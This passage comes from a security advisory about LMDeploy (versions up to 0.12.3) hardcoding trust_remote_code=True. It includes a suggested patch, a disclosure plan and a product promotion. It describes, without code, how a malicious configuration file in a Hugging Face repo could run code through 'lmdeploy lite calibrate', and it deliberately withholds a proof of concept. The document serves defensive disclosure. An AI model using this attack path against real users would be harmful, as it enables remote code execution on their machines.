flag | LMDeploy is the outlier. The rationale is presumably "internal models like InternLM need custom configuration_*.py", but the fix is to accept a CLI flag like `--trust-remote-code` and default-False as the rest of the ecosystem does. ## Suggested fix Replace every hardcoded `trust_remote_code=True` with an explicit opt-in via CLI flag: ```python # lmdeploy/archs.py — get_model_arch def get_model_arch(model_path: str, trust_remote_code: bool = False): try: cfg = AutoConfig.from_pretrained(model_path, trust_remote_code=trust_remote_code) except Exception as e: # noqa from transformers import PretrainedConfig cfg = PretrainedConfig.from_pretrained(model_path, trust_remote_code=trust_remote_code) ``` Wire `trust_remote_code` through every call site. Add `--trust-remote-code` to lmdeploy's CLI parser and forward it from server / calibrate / gptq / etc. **Default False**. A patch fragment is in `patch.diff`. ## Disclosure plan 1. Submit privately via lmdeploy security contact (typically email or GitHub Security Advisory at `https://github.com/InternLM/lmdeploy/security/advisories/new`). 2. Reference Hugging Face Transformers' historical opt-out → opt-in change as precedent for the fix shape. 3. 90-day coordinated-disclosure window starting from acknowledgement. 4. Request CVE through GHSA flow once the patch lands. ## Why static-only is sufficient here Unlike F11 (RCE chain through `_load_pt_file`) which required a runtime PoC to demonstrate the pickle gadget execution, this finding is a **single trust-flag flip** — the behaviour of `AutoConfig.from_pretrained(repo, trust_remote_code=True)` on a HF repo with a malicious `configuration_*.py` is documented behaviour of HF Transformers itself (their own docs warn against it). Reproducing it adds no new evidence; the static flag-state is the bug. If the vendor requests a runtime PoC during triage we will provide one (a malicious HF repo with `configuration_evil.py` + a one-liner `lmdeploy lite calibrate <repo>` invocation), but holding it back from the initial advisory avoids publishing a working exploit during the disclosure window.
AI coding agents often install or upgrade packages automatically in pip. A high vulnerability in a dependency can be pulled into a project through a normal install or update without a human reviewing the change, expanding the blast radius from a single package to every agent workspace that depends on it.
| Package | Affected range | Fixed version |
|---|---|---|
| lmdeploypip | <=0.12.3 | Not reported |
Reported by GitHub Security Advisories (ghsa).
HOL Guard can help your team review package activity against supported protection paths.
Explore HOL Guard